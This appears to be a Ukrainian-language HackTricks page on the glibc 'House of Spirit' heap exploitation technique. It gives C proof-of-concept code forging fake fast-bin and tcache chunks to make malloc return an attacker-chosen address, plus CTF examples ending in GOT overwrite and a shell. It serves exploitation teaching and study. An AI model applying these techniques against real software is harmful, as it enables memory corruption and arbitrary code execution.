// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);

// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf(“Victim: %p\n”, victim);

return 0; }

</details>

### Мета

- Мати можливість додати в tcache / fast bin адресу, щоб пізніше її можна було allocate

### Вимоги

- Ця атака вимагає, щоб атакуючий зміг створити пару fake fast chunks, правильно вказавши значення size, а потім виконати free над першим fake chunk, щоб він потрапив у bin.
- З **tcache (glibc ≥2.26)** атака ще простіша: потрібен лише один fake chunk (перевірка next-chunk size на шляху tcache не виконується), за умови що fake chunk 0x10-aligned і його поле size потрапляє в дійсну tcache bin (0x20-0x410 on x64).

### Атака

- Створити fake chunks, що обходять security checks: вам знадобляться 2 fake chunks, які в правильних позиціях вказують правильні sizes
- Якимось чином виконати free над першим fake chunk, щоб він потрапив у fast або tcache bin, а потім allocate його, щоб перезаписати цю адресу

**Код від** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **чудово допомагає зрозуміти атаку.** Хоча ця схема з коду добре її підсумовує:

<details>
<summary>Fake chunk layout</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Tip

Зверніть увагу, що необхідно створити другий chunk, щоб обійти деякі sanity checks.

Tcache house of spirit (glibc ≥2.26)

• У сучасних версіях glibc tcache fast-path викликає tcache_put перед перевіркою розміру наступного chunk/prev_inuse, тому тільки поточний fake chunk має виглядати правдоподібно.
• Вимоги:
• Фейковий chunk має бути вирівняний по 16 байтах і не позначений як IS_MMAPPED/NON_MAIN_ARENA.
• size має належати до tcache bin і мати встановлений біт prev_inuse (size | 1).
• Tcache для цього bin не повинен бути заповнений (за замовчуванням максимум 7 елементів).
• Мінімальний PoC (stack chunk):

unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41;              // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2];          // points inside fake chunk
free(p);                     // goes straight into tcache
void *q = malloc(0x30);      // returns stack address fake+2

• Safe-linking тут не є перешкодою: прямий вказівник, збережений у tcache, автоматично кодується як fd = ptr ^ (heap_base >> 12) під час free, тому атакуючому не потрібно знати ключ при використанні одиночного fake chunk.
• Цей варіант корисний, коли glibc hooks були видалені (≥2.34) і ви хочете швидкий arbitrary write або перетнути цільовий буфер (наприклад, stack/BSS) з tcache chunk без створення додаткових пошкоджень.

Приклади

• CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

• Libc infoleak: Via an overflow it’s possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF

• House of Spirit: Зловживаючи лічильником, який рахує кількість “rifles”, можна сформувати fake size першого fake chunk, потім, зловживаючи “message”, можна сфабрикувати другий size chunk’а і нарешті, зловживаючи overflow, можна змінити вказівник, що буде freed, щоб наш перший fake chunk був freed. Потім ми можемо allocate його, і всередині буде адреса, куди зберігається “message”. Далі можна вказати це на запис scanf у таблиці GOT, щоб перезаписати його адресою system. Наступного разу, коли буде викликано scanf, ми можемо надіслати ввід "/bin/sh" і отримати shell.

• Gloater. HTB Cyber Apocalypse CTF 2024

• Glibc leak: Неініціалізований стековий буфер.

• House of Spirit: Ми можемо змінити перший індекс глобального масиву heap-покажчиків. З одною байтовою модифікацією ми викликаємо free на fake chunk всередині дійсного chunk’а, тому після повторного allocating отримуємо overlapping chunks. Завдяки цьому проста Tcache poisoning атака дає arbitrary write примітив.

Посилання

• https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
• https://github.com/shellphish/how2heap/blob/master/glibc_2.34/tcache_house_of_spirit.c

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

• Перевірте плани підписки!
• Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.